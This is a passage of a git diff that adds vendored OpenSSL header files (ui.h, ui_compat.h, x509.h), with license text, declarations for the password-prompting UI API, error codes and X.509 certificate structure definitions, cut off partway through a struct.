and/or other materials provided with the + * distribution. + * + * 3. All advertising materials mentioning features or use of this + * software must display the following acknowledgment: + * "This product includes software developed by the OpenSSL Project + * for use in the OpenSSL Toolkit. (http://www.openssl.org/)" + * + * 4. The names "OpenSSL Toolkit" and "OpenSSL Project" must not be used to + * endorse or promote products derived from this software without + * prior written permission. For written permission, please contact + * openssl-core@openssl.org. + * + * 5. Products derived from this software may not be called "OpenSSL" + * nor may "OpenSSL" appear in their names without prior written + * permission of the OpenSSL Project. + * + * 6. Redistributions of any form whatsoever must retain the following + * acknowledgment: + * "This product includes software developed by the OpenSSL Project + * for use in the OpenSSL Toolkit (http://www.openssl.org/)" + * + * THIS SOFTWARE IS PROVIDED BY THE OpenSSL PROJECT ``AS IS'' AND ANY + * EXPRESSED OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR + * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE OpenSSL PROJECT OR + * ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, + * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, + * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) + * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED + * OF THE POSSIBILITY OF SUCH DAMAGE. + * ==================================================================== + * + * This product includes cryptographic software written by Eric Young + * (eay@cryptsoft.com). This product includes software written by Tim + * Hudson (tjh@cryptsoft.com). + * + */ + +#ifndef HEADER_UI_H +#define HEADER_UI_H + +#ifndef OPENSSL_NO_DEPRECATED +#include +#endif +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + +/* Declared already in ossl_typ.h */ +/* typedef struct ui_st UI; */ +/* typedef struct ui_method_st UI_METHOD; */ + + +/* All the following functions return -1 or NULL on error and in some cases + (UI_process()) -2 if interrupted or in some other way cancelled. + When everything is fine, they return 0, a positive value or a non-NULL + pointer, all depending on their purpose. */ + +/* Creators and destructor. */ +UI *UI_new(void); +UI *UI_new_method(const UI_METHOD *method); +void UI_free(UI *ui); + +/* The following functions are used to add strings to be printed and prompt + strings to prompt for data. The names are UI_{add,dup}__string + and UI_{add,dup}_input_boolean. + + UI_{add,dup}__string have the following meanings: + add add a text or prompt string. The pointers given to these + functions are used verbatim, no copying is done. + dup make a copy of the text or prompt string, then add the copy + to the collection of strings in the user interface. + + The function is a name for the functionality that the given + string shall be used for. It can be one of: + input use the string as data prompt. + verify use the string as verification prompt. This + is used to verify a previous input. + info use the string for informational output. + error use the string for error output. + Honestly, there's currently no difference between info and error for the + moment. + + UI_{add,dup}_input_boolean have the same semantics for "add" and "dup", + and are typically used when one wants to prompt for a yes/no response. + + + All of the functions in this group take a UI and a prompt string. + The string input and verify addition functions also take a flag argument, + a buffer for the result to end up with, a minimum input size and a maximum + input size (the result buffer MUST be large enough to be able to contain + the maximum number of characters). Additionally, the verify addition + functions takes another buffer to compare the result against. + The boolean input functions take an action description string (which should + be safe to ignore if the expected user action is obvious, for example with + a dialog box with an OK button and a Cancel button), a string of acceptable + characters to mean OK and to mean Cancel. The two last strings are checked + to make sure they don't have common characters. Additionally, the same + flag argument as for the string input is taken, as well as a result buffer. + The result buffer is required to be at least one byte long. Depending on + the answer, the first character from the OK or the Cancel character strings + will be stored in the first byte of the result buffer. No NUL will be + added, so the result is *not* a string. + + On success, the all return an index of the added information. That index + is usefull when retrieving results with UI_get0_result(). */ +int UI_add_input_string(UI *ui, const char *prompt, int flags, + char *result_buf, int minsize, int maxsize); +int UI_dup_input_string(UI *ui, const char *prompt, int flags, + char *result_buf, int minsize, int maxsize); +int UI_add_verify_string(UI *ui, const char *prompt, int flags, + char *result_buf, int minsize, int maxsize, const char *test_buf); +int UI_dup_verify_string(UI *ui, const char *prompt, int flags, + char *result_buf, int minsize, int maxsize, const char *test_buf); +int UI_add_input_boolean(UI *ui, const char *prompt, const char *action_desc, + const char *ok_chars, const char *cancel_chars, + int flags, char *result_buf); +int UI_dup_input_boolean(UI *ui, const char *prompt, const char *action_desc, + const char *ok_chars, const char *cancel_chars, + int flags, char *result_buf); +int UI_add_info_string(UI *ui, const char *text); +int UI_dup_info_string(UI *ui, const char *text); +int UI_add_error_string(UI *ui, const char *text); +int UI_dup_error_string(UI *ui, const char *text); + +/* These are the possible flags. They can be or'ed together. */ +/* Use to have echoing of input */ +#define UI_INPUT_FLAG_ECHO 0x01 +/* Use a default password. Where that password is found is completely + up to the application, it might for example be in the user data set + with UI_add_user_data(). It is not recommended to have more than + one input in each UI being marked with this flag, or the application + might get confused. */ +#define UI_INPUT_FLAG_DEFAULT_PWD 0x02 + +/* The user of these routines may want to define flags of their own. The core + UI won't look at those, but will pass them on to the method routines. They + must use higher bits so they don't get confused with the UI bits above. + UI_INPUT_FLAG_USER_BASE tells which is the lowest bit to use. A good + example of use is this: + + #define MY_UI_FLAG1 (0x01 << UI_INPUT_FLAG_USER_BASE) + +*/ +#define UI_INPUT_FLAG_USER_BASE 16 + + +/* The following function helps construct a prompt. object_desc is a + textual short description of the object, for example "pass phrase", + and object_name is the name of the object (might be a card name or + a file name. + The returned string shall always be allocated on the heap with + OPENSSL_malloc(), and need to be free'd with OPENSSL_free(). + + If the ui_method doesn't contain a pointer to a user-defined prompt + constructor, a default string is built, looking like this: + + "Enter {object_desc} for {object_name}:" + + So, if object_desc has the value "pass phrase" and object_name has + the value "foo.key", the resulting string is: + + "Enter pass phrase for foo.key:" +*/ +char *UI_construct_prompt(UI *ui_method, + const char *object_desc, const char *object_name); + + +/* The following function is used to store a pointer to user-specific data. + Any previous such pointer will be returned and replaced. + + For callback purposes, this function makes a lot more sense than using + ex_data, since the latter requires that different parts of OpenSSL or + applications share the same ex_data index. + + Note that the UI_OpenSSL() method completely ignores the user data. + Other methods may not, however. */ +void *UI_add_user_data(UI *ui, void *user_data); +/* We need a user data retrieving function as well. */ +void *UI_get0_user_data(UI *ui); + +/* Return the result associated with a prompt given with the index i. */ +const char *UI_get0_result(UI *ui, int i); + +/* When all strings have been added, process the whole thing. */ +int UI_process(UI *ui); + +/* Give a user interface parametrised control commands. This can be used to + send down an integer, a data pointer or a function pointer, as well as + be used to get information from a UI. */ +int UI_ctrl(UI *ui, int cmd, long i, void *p, void (*f)(void)); + +/* The commands */ +/* Use UI_CONTROL_PRINT_ERRORS with the value 1 to have UI_process print the + OpenSSL error stack before printing any info or added error messages and + before any prompting. */ +#define UI_CTRL_PRINT_ERRORS 1 +/* Check if a UI_process() is possible to do again with the same instance of + a user interface. This makes UI_ctrl() return 1 if it is redoable, and 0 + if not. */ +#define UI_CTRL_IS_REDOABLE 2 + + +/* Some methods may use extra data */ +#define UI_set_app_data(s,arg) UI_set_ex_data(s,0,arg) +#define UI_get_app_data(s) UI_get_ex_data(s,0) +int UI_get_ex_new_index(long argl, void *argp, CRYPTO_EX_new *new_func, + CRYPTO_EX_dup *dup_func, CRYPTO_EX_free *free_func); +int UI_set_ex_data(UI *r,int idx,void *arg); +void *UI_get_ex_data(UI *r, int idx); + +/* Use specific methods instead of the built-in one */ +void UI_set_default_method(const UI_METHOD *meth); +const UI_METHOD *UI_get_default_method(void); +const UI_METHOD *UI_get_method(UI *ui); +const UI_METHOD *UI_set_method(UI *ui, const UI_METHOD *meth); + +/* The method with all the built-in thingies */ +UI_METHOD *UI_OpenSSL(void); + + +/* ---------- For method writers ---------- */ +/* A method contains a number of functions that implement the low level + of the User Interface. The functions are: + + an opener This function starts a session, maybe by opening + a channel to a tty, or by opening a window. + a writer This function is called to write a given string, + maybe to the tty, maybe as a field label in a + window. + a flusher This function is called to flush everything that + has been output so far. It can be used to actually + display a dialog box after it has been built. + a reader This function is called to read a given prompt, + maybe from the tty, maybe from a field in a + window. Note that it's called wth all string + structures, not only the prompt ones, so it must + check such things itself. + a closer This function closes the session, maybe by closing + the channel to the tty, or closing the window. + + All these functions are expected to return: + + 0 on error. + 1 on success. + -1 on out-of-band events, for example if some prompting has + been canceled (by pressing Ctrl-C, for example). This is + only checked when returned by the flusher or the reader. + + The way this is used, the opener is first called, then the writer for all + strings, then the flusher, then the reader for all strings and finally the + closer. Note that if you want to prompt from a terminal or other command + line interface, the best is to have the reader also write the prompts + instead of having the writer do it. If you want to prompt from a dialog + box, the writer can be used to build up the contents of the box, and the + flusher to actually display the box and run the event loop until all data + has been given, after which the reader only grabs the given data and puts + them back into the UI strings. + + All method functions take a UI as argument. Additionally, the writer and + the reader take a UI_STRING. +*/ + +/* The UI_STRING type is the data structure that contains all the needed info + about a string or a prompt, including test data for a verification prompt. +*/ +DECLARE_STACK_OF(UI_STRING) +typedef struct ui_string_st UI_STRING; + +/* The different types of strings that are currently supported. + This is only needed by method authors. */ +enum UI_string_types + { + UIT_NONE=0, + UIT_PROMPT, /* Prompt for a string */ + UIT_VERIFY, /* Prompt for a string and verify */ + UIT_BOOLEAN, /* Prompt for a yes/no response */ + UIT_INFO, /* Send info to the user */ + UIT_ERROR /* Send an error message to the user */ + }; + +/* Create and manipulate methods */ +UI_METHOD *UI_create_method(char *name); +void UI_destroy_method(UI_METHOD *ui_method); +int UI_method_set_opener(UI_METHOD *method, int (*opener)(UI *ui)); +int UI_method_set_writer(UI_METHOD *method, int (*writer)(UI *ui, UI_STRING *uis)); +int UI_method_set_flusher(UI_METHOD *method, int (*flusher)(UI *ui)); +int UI_method_set_reader(UI_METHOD *method, int (*reader)(UI *ui, UI_STRING *uis)); +int UI_method_set_closer(UI_METHOD *method, int (*closer)(UI *ui)); +int (*UI_method_get_opener(UI_METHOD *method))(UI*); +int (*UI_method_get_writer(UI_METHOD *method))(UI*,UI_STRING*); +int (*UI_method_get_flusher(UI_METHOD *method))(UI*); +int (*UI_method_get_reader(UI_METHOD *method))(UI*,UI_STRING*); +int (*UI_method_get_closer(UI_METHOD *method))(UI*); + +/* The following functions are helpers for method writers to access relevant + data from a UI_STRING. */ + +/* Return type of the UI_STRING */ +enum UI_string_types UI_get_string_type(UI_STRING *uis); +/* Return input flags of the UI_STRING */ +int UI_get_input_flags(UI_STRING *uis); +/* Return the actual string to output (the prompt, info or error) */ +const char *UI_get0_output_string(UI_STRING *uis); +/* Return the optional action string to output (the boolean promtp instruction) */ +const char *UI_get0_action_string(UI_STRING *uis); +/* Return the result of a prompt */ +const char *UI_get0_result_string(UI_STRING *uis); +/* Return the string to test the result against. Only useful with verifies. */ +const char *UI_get0_test_string(UI_STRING *uis); +/* Return the required minimum size of the result */ +int UI_get_result_minsize(UI_STRING *uis); +/* Return the required maximum size of the result */ +int UI_get_result_maxsize(UI_STRING *uis); +/* Set the result of a UI_STRING. */ +int UI_set_result(UI *ui, UI_STRING *uis, const char *result); + + +/* A couple of popular utility functions */ +int UI_UTIL_read_pw_string(char *buf,int length,const char *prompt,int verify); +int UI_UTIL_read_pw(char *buf,char *buff,int size,const char *prompt,int verify); + + +/* BEGIN ERROR CODES */ +/* The following lines are auto generated by the script mkerr.pl. Any changes + * made after this point may be overwritten when the script is next run. + */ +void ERR_load_UI_strings(void); + +/* Error codes for the UI functions. */ + +/* Function codes. */ +#define UI_F_GENERAL_ALLOCATE_BOOLEAN 108 +#define UI_F_GENERAL_ALLOCATE_PROMPT 109 +#define UI_F_GENERAL_ALLOCATE_STRING 100 +#define UI_F_UI_CTRL 111 +#define UI_F_UI_DUP_ERROR_STRING 101 +#define UI_F_UI_DUP_INFO_STRING 102 +#define UI_F_UI_DUP_INPUT_BOOLEAN 110 +#define UI_F_UI_DUP_INPUT_STRING 103 +#define UI_F_UI_DUP_VERIFY_STRING 106 +#define UI_F_UI_GET0_RESULT 107 +#define UI_F_UI_NEW_METHOD 104 +#define UI_F_UI_SET_RESULT 105 + +/* Reason codes. */ +#define UI_R_COMMON_OK_AND_CANCEL_CHARACTERS 104 +#define UI_R_INDEX_TOO_LARGE 102 +#define UI_R_INDEX_TOO_SMALL 103 +#define UI_R_NO_RESULT_BUFFER 105 +#define UI_R_RESULT_TOO_LARGE 100 +#define UI_R_RESULT_TOO_SMALL 101 +#define UI_R_UNKNOWN_CONTROL_COMMAND 106 + +#ifdef __cplusplus +} +#endif +#endif diff --git a/winstuff/openssl/ui_compat.h b/winstuff/openssl/ui_compat.h new file mode 100644 index 0000000..b35c9bb --- /dev/null +++ b/winstuff/openssl/ui_compat.h @@ -0,0 +1,83 @@ +/* crypto/ui/ui.h -*- mode:C; c-file-style: "eay" -*- */ +/* Written by Richard Levitte (richard@levitte.org) for the OpenSSL + * project 2001. + */ +/* ==================================================================== + * Copyright (c) 2001 The OpenSSL Project. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in + * the documentation and/or other materials provided with the + * distribution. + * + * 3. All advertising materials mentioning features or use of this + * software must display the following acknowledgment: + * "This product includes software developed by the OpenSSL Project + * for use in the OpenSSL Toolkit. (http://www.openssl.org/)" + * + * 4. The names "OpenSSL Toolkit" and "OpenSSL Project" must not be used to + * endorse or promote products derived from this software without + * prior written permission. For written permission, please contact + * openssl-core@openssl.org. + * + * 5. Products derived from this software may not be called "OpenSSL" + * nor may "OpenSSL" appear in their names without prior written + * permission of the OpenSSL Project. + * + * 6. Redistributions of any form whatsoever must retain the following + * acknowledgment: + * "This product includes software developed by the OpenSSL Project + * for use in the OpenSSL Toolkit (http://www.openssl.org/)" + * + * THIS SOFTWARE IS PROVIDED BY THE OpenSSL PROJECT ``AS IS'' AND ANY + * EXPRESSED OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR + * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE OpenSSL PROJECT OR + * ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, + * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, + * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) + * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED + * OF THE POSSIBILITY OF SUCH DAMAGE. + * ==================================================================== + * + * This product includes cryptographic software written by Eric Young + * (eay@cryptsoft.com). This product includes software written by Tim + * Hudson (tjh@cryptsoft.com). + * + */ + +#ifndef HEADER_UI_COMPAT_H +#define HEADER_UI_COMPAT_H + +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + +/* The following functions were previously part of the DES section, + and are provided here for backward compatibility reasons. */ + +#define des_read_pw_string(b,l,p,v) \ + _ossl_old_des_read_pw_string((b),(l),(p),(v)) +#define des_read_pw(b,bf,s,p,v) \ + _ossl_old_des_read_pw((b),(bf),(s),(p),(v)) + +int _ossl_old_des_read_pw_string(char *buf,int length,const char *prompt,int verify); +int _ossl_old_des_read_pw(char *buf,char *buff,int size,const char *prompt,int verify); + +#ifdef __cplusplus +} +#endif +#endif diff --git a/winstuff/openssl/x509.h b/winstuff/openssl/x509.h new file mode 100644 index 0000000..e71b525 --- /dev/null +++ b/winstuff/openssl/x509.h @@ -0,0 +1,1355 @@ +/* crypto/x509/x509.h */ +/* Copyright (C) 1995-1998 Eric Young (eay@cryptsoft.com) + * All rights reserved. + * + * This package is an SSL implementation written + * by Eric Young (eay@cryptsoft.com). + * The implementation was written so as to conform with Netscapes SSL. + * + * This library is free for commercial and non-commercial use as long as + * the following conditions are aheared to. The following conditions + * apply to all code found in this distribution, be it the RC4, RSA, + * lhash, DES, etc., code; not just the SSL code. The SSL documentation + * included with this distribution is covered by the same copyright terms + * except that the holder is Tim Hudson (tjh@cryptsoft.com). + * + * Copyright remains Eric Young's, and as such any Copyright notices in + * the code are not to be removed. + * If this package is used in a product, Eric Young should be given attribution + * as the author of the parts of the library used. + * This can be in the form of a textual message at program startup or + * in documentation (online or textual) provided with the package. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * "This product includes cryptographic software written by + * Eric Young (eay@cryptsoft.com)" + * The word 'cryptographic' can be left out if the rouines from the library + * being used are not cryptographic related :-). + * 4. If you include any Windows specific code (or a derivative thereof) from + * the apps directory (application code) you must include an acknowledgement: + * "This product includes software written by Tim Hudson (tjh@cryptsoft.com)" + * + * THIS SOFTWARE IS PROVIDED BY ERIC YOUNG ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + * The licence and distribution terms for any publically available version or + * derivative of this code cannot be changed. i.e. this code cannot simply be + * copied and put under another distribution licence + * [including the GNU Public Licence.] + */ +/* ==================================================================== + * Copyright 2002 Sun Microsystems, Inc. ALL RIGHTS RESERVED. + * ECDH support in OpenSSL originally developed by + * SUN MICROSYSTEMS, INC., and contributed to the OpenSSL project. + */ + +#ifndef HEADER_X509_H +#define HEADER_X509_H + +#include +#include +#ifndef OPENSSL_NO_BUFFER +#include +#endif +#ifndef OPENSSL_NO_EVP +#include +#endif +#ifndef OPENSSL_NO_BIO +#include +#endif +#include +#include +#include + +#ifndef OPENSSL_NO_EC +#include +#endif + +#ifndef OPENSSL_NO_ECDSA +#include +#endif + +#ifndef OPENSSL_NO_ECDH +#include +#endif + +#ifndef OPENSSL_NO_DEPRECATED +#ifndef OPENSSL_NO_RSA +#include +#endif +#ifndef OPENSSL_NO_DSA +#include +#endif +#ifndef OPENSSL_NO_DH +#include +#endif +#endif + +#ifndef OPENSSL_NO_SHA +#include +#endif +#include + +#ifdef __cplusplus +extern "C" { +#endif + +#ifdef OPENSSL_SYS_WIN32 +/* Under Win32 these are defined in wincrypt.h */ +#undef X509_NAME +#undef X509_CERT_PAIR +#endif + +#define X509_FILETYPE_PEM 1 +#define X509_FILETYPE_ASN1 2 +#define X509_FILETYPE_DEFAULT 3 + +#define X509v3_KU_DIGITAL_SIGNATURE 0x0080 +#define X509v3_KU_NON_REPUDIATION 0x0040 +#define X509v3_KU_KEY_ENCIPHERMENT 0x0020 +#define X509v3_KU_DATA_ENCIPHERMENT 0x0010 +#define X509v3_KU_KEY_AGREEMENT 0x0008 +#define X509v3_KU_KEY_CERT_SIGN 0x0004 +#define X509v3_KU_CRL_SIGN 0x0002 +#define X509v3_KU_ENCIPHER_ONLY 0x0001 +#define X509v3_KU_DECIPHER_ONLY 0x8000 +#define X509v3_KU_UNDEF 0xffff + +typedef struct X509_objects_st + { + int nid; + int (*a2i)(void); + int (*i2a)(void); + } X509_OBJECTS; + +struct X509_algor_st + { + ASN1_OBJECT *algorithm; + ASN1_TYPE *parameter; + } /* X509_ALGOR */; + +DECLARE_ASN1_SET_OF(X509_ALGOR) + +typedef STACK_OF(X509_ALGOR) X509_ALGORS; + +typedef struct X509_val_st + { + ASN1_TIME *notBefore; + ASN1_TIME *notAfter; + } X509_VAL; + +typedef struct X509_pubkey_st + { + X509_ALGOR *algor; + ASN1_BIT_STRING *public_key; + EVP_PKEY *pkey; + } X509_PUBKEY; + +typedef struct X509_sig_st + { + X509_ALGOR *algor; + ASN1_OCTET_STRING *digest; + } X509_SIG; + +typedef struct X509_name_entry_st + { + ASN1_OBJECT *object; + ASN1_STRING *value; + int set; + int size; /* temp variable */ + } X509_NAME_ENTRY; + +DECLARE_STACK_OF(X509_NAME_ENTRY) +DECLARE_ASN1_SET_OF(X509_NAME_ENTRY) + +/* we always keep X509_NAMEs in 2 forms. */ +struct X509_name_st + { + STACK_OF(X509_NAME_ENTRY) *entries; + int modified; /* true if 'bytes' needs to be built */ +#ifndef OPENSSL_NO_BUFFER + BUF_MEM *bytes; +#else + char *bytes; +#endif + unsigned long hash; /* Keep the hash around for lookups */ + } /* X509_NAME */; + +DECLARE_STACK_OF(X509_NAME) + +#define X509_EX_V_NETSCAPE_HACK 0x8000 +#define X509_EX_V_INIT 0x0001 +typedef struct X509_extension_st + { + ASN1_OBJECT *object; + ASN1_BOOLEAN critical; + ASN1_OCTET_STRING *value; + } X509_EXTENSION; + +typedef STACK_OF(X509_EXTENSION) X509_EXTENSIONS; + +DECLARE_STACK_OF(X509_EXTENSION) +DECLARE_ASN1_SET_OF(X509_EXTENSION) + +/* a sequence of these are used */ +typedef struct x509_attributes_st + { + ASN1_OBJECT *object; + int single; /* 0 for a set, 1 for a single item (which is wrong) */ + union { + char *ptr; +/* 0 */ STACK_OF(ASN1_TYPE) *set; +/* 1 */ ASN1_TYPE *single; + } value; + } X509_ATTRIBUTE; + +DECLARE_STACK_OF(X509_ATTRIBUTE) +DECLARE_ASN1_SET_OF(X509_ATTRIBUTE) + + +typedef struct X509_req_info_st + { + ASN1_ENCODING enc; + ASN1_INTEGER *version; + X509_NAME *subject; + X509_PUBKEY *pubkey; + /* d=2 hl=2 l= 0 cons: cont: 00 */ + STACK_OF(X509_ATTRIBUTE) *attributes; /* [ 0 ] */ + } X509_REQ_INFO; + +typedef struct X509_req_st + { + X509_REQ_INFO *req_info; + X509_ALGOR *sig_alg; + ASN1_BIT_STRING *signature; + int references; + } X509_REQ; + +typedef struct x509_cinf_st + { + ASN1_INTEGER *version; /* [ 0 ] default of v1 */ + ASN1_INTEGER *serialNumber; + X509_ALGOR *signature; + X509_NAME *issuer; + X509_VAL *validity; + X509_NAME *subject; + X509_PUBKEY *key; + ASN1_BIT_STRING *issuerUID; /* [ 1 ] optional in v2 */ + ASN1_BIT_STRING *subjectUID; /* [ 2 ] optional in v2 */ + STACK_OF(X509_EXTENSION) *extensions; /* [ 3 ] optional in v3 */ + } X509_CINF; + +/* This stuff is certificate "auxiliary info" + * it contains details which are useful in certificate + * stores and databases. When used this is tagged onto + * the end of the certificate itself + */ + +typedef struct x509_cert_aux_st + { + STACK_OF(ASN1_OBJECT) *trust; /* trusted uses */ + STACK_OF(ASN1_OBJECT) *reject; /* rejected uses */ + ASN1_UTF8STRING *alias; /* "friendly name" */ + ASN1_OCTET_STRING *keyid; /* key id of private key */ + STACK_OF(X509_ALGOR) *other; /* other unspecified info */ + } X509_CERT_AUX; + +struct x509_st + { + X509_CINF *cert_info; + X509_ALGOR *sig_alg; + ASN1_BIT_STRING *signature; + int valid; + int references; + char *name; + CRYPTO_EX_DATA ex_data; + /* These contain copies of various extension values */ + long ex_pathlen; + long ex_pcpathlen; + unsigned long ex_flags; + unsigned long ex_kusage; + unsigned long ex_xkusage; + unsigned long ex_nscert; + ASN1_OCTET_STRING *skid; + struct AUTHORITY_KEYID_st *akid; + X509_POLICY_CACHE *policy_cache; +#ifndef OPENSSL_NO_RFC3779 + STACK_OF(IPAddressFamily) *rfc3779_addr; + struct ASIdentifiers_st *rfc3779_asid; +#endif +#ifndef OPENSSL_NO_SHA + unsigned char sha1_hash[SHA_DIGEST_LENGTH]; +#endif + X509_CERT_AUX *aux; + } /* X509 */; + +DECLARE_STACK_OF(X509) +DECLARE_ASN1_SET_OF(X509) + +/* This is used for a table of trust checking functions */ + +typedef struct x509_trust_st { + int trust; + int flags; + int (*check_trust)(struct x509_trust_st *, X509 *, int); + char *name; + int arg1; + void *arg2; +} X509_TRUST; + +DECLARE_STACK_OF(X509_TRUST) + +typedef struct x509_cert_pair_st { + X509 *forward; + X509 *reverse; +} X509_CERT_PAIR; + +/* standard trust ids */ + +#define X509_TRUST_DEFAULT -1 /* Only valid in purpose settings */ + +#define X509_TRUST_COMPAT 1 +#define X509_TRUST_SSL_CLIENT 2 +#define X509_TRUST_SSL_SERVER 3 +#define X509_TRUST_EMAIL 4 +#define X509_TRUST_OBJECT_SIGN 5 +#define X509_TRUST_OCSP_SIGN 6 +#define X509_TRUST_OCSP_REQUEST 7 + +/* Keep these up to date! */ +#define X509_TRUST_MIN 1 +#define X509_TRUST_MAX 7 + + +/* trust_flags values */ +#define X509_TRUST_DYNAMIC 1 +#define X509_TRUST_DYNAMIC_NAME 2 + +/* check_trust return codes */ + +#define X509_TRUST_TRUSTED 1 +#define X509_TRUST_REJECTED 2 +#define X509_TRUST_UNTRUSTED 3 + +/* Flags for X509_print_ex() */ + +#define X509_FLAG_COMPAT 0 +#define X509_FLAG_NO_HEADER 1L +#define X509_FLAG_NO_VERSION (1L << 1) +#define X509_FLAG_NO_SERIAL (1L << 2) +#define X509_FLAG_NO_SIGNAME (1L << 3) +#define X509_FLAG_NO_ISSUER (1L << 4) +#define X509_FLAG_NO_VALIDITY (1L << 5) +#define X509_FLAG_NO_SUBJECT (1L << 6) +#define X509_FLAG_NO_PUBKEY (1L << 7) +#define X509_FLAG_NO_EXTENSIONS (1L << 8) +#define X509_FLAG_NO_SIGDUMP (1L << 9) +#define X509_FLAG_NO_AUX (1L << 10) +#define X509_FLAG_NO_ATTRIBUTES (1L << 11) + +/* Flags specific to X509_NAME_print_ex() */ + +/* The field separator information */ + +#define XN_FLAG_SEP_MASK (0xf << 16) + +#define XN_FLAG_COMPAT 0 /* Traditional SSLeay: use old X509_NAME_print */ +#define XN_FLAG_SEP_COMMA_PLUS (1 << 16) /* RFC2253 ,+ */ +#define XN_FLAG_SEP_CPLUS_SPC (2 << 16) /* ,+ spaced: more readable */ +#define XN_FLAG_SEP_SPLUS_SPC (3 << 16) /* ;+ spaced */ +#define XN_FLAG_SEP_MULTILINE (4 << 16) /* One line per field */ + +#define XN_FLAG_DN_REV (1 << 20) /* Reverse DN order */ + +/* How the field name is shown */ + +#define XN_FLAG_FN_MASK (0x3 << 21) + +#define XN_FLAG_FN_SN 0 /* Object short name */ +#define XN_FLAG_FN_LN (1 << 21) /* Object long name */ +#define XN_FLAG_FN_OID (2 << 21) /* Always use OIDs */ +#define XN_FLAG_FN_NONE (3 << 21) /* No field names */ + +#define XN_FLAG_SPC_EQ (1 << 23) /* Put spaces round '=' */ + +/* This determines if we dump fields we don't recognise: + * RFC2253 requires this. + */ + +#define XN_FLAG_DUMP_UNKNOWN_FIELDS (1 << 24) + +#define XN_FLAG_FN_ALIGN (1 << 25) /* Align field names to 20 characters */ + +/* Complete set of RFC2253 flags */ + +#define XN_FLAG_RFC2253 (ASN1_STRFLGS_RFC2253 | \ + XN_FLAG_SEP_COMMA_PLUS | \ + XN_FLAG_DN_REV | \ + XN_FLAG_FN_SN | \ + XN_FLAG_DUMP_UNKNOWN_FIELDS) + +/* readable oneline form */ + +#define XN_FLAG_ONELINE (ASN1_STRFLGS_RFC2253 | \ + ASN1_STRFLGS_ESC_QUOTE | \ + XN_FLAG_SEP_CPLUS_SPC | \ + XN_FLAG_SPC_EQ | \ + XN_FLAG_FN_SN) + +/* readable multiline form */ + +#define XN_FLAG_MULTILINE (ASN1_STRFLGS_ESC_CTRL | \ + ASN1_STRFLGS_ESC_MSB | \ + XN_FLAG_SEP_MULTILINE | \ + XN_FLAG_SPC_EQ | \ + XN_FLAG_FN_LN | \ + XN_FLAG_FN_ALIGN) + +typedef struct X509_revoked_st + { + ASN1_INTEGER *serialNumber; + ASN1_TIME *revocationDate; + STACK_OF(X509_EXTENSION) /* optional */ *extensions; + int sequence; /* load sequence */ + } X509_REVOKED; + +DECLARE_STACK_OF(X509_REVOKED) +DECLARE_ASN1_SET_OF(X509_REVOKED) + +typedef struct X509_crl_info_st + { + ASN1_INTEGER *version; + X509_ALGOR *sig_alg; + X509_NAME *issuer; + ASN1_TIME *lastUpdate; + ASN1_TIME *nextUpdate; + STACK_OF(X509_REVOKED) *revoked; + STACK_OF(X509_EXTENSION) /* [0] */ *extensions; + ASN1_ENCODING enc; + } X509_CRL_INFO; + +struct X509_crl_st + { + /* actual signature */ + X509_CRL_INFO *crl; + X509_ALGOR *sig_alg; + ASN1_BIT_STRING *signature; + int references; + } /* X509_CRL */; + +DECLARE_STACK_OF(X509_CRL) +DECLARE_ASN1_SET_OF(X509_CRL) + +typedef struct private_key_st + { + int version; + /* The PKCS#8 data types */ + X509_ALGOR *enc_algor; + ASN1_OCTET_STRING *enc_pkey; /* encrypted 